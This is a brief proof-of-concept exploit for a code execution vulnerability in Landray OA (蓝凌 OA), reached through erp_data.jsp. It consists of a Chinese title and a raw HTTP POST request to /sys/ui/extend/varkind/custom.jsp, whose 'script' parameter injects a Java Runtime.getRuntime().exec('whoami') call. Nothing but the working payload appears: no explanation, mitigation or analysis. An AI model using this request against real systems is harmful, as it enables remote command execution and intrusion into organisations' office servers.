蓝凌 OA erp_data.jsp 代码执行漏洞
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
var={"body":{"file":"/tic/core/resource/js/erp_data.jsp"}}&erpServcieName=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");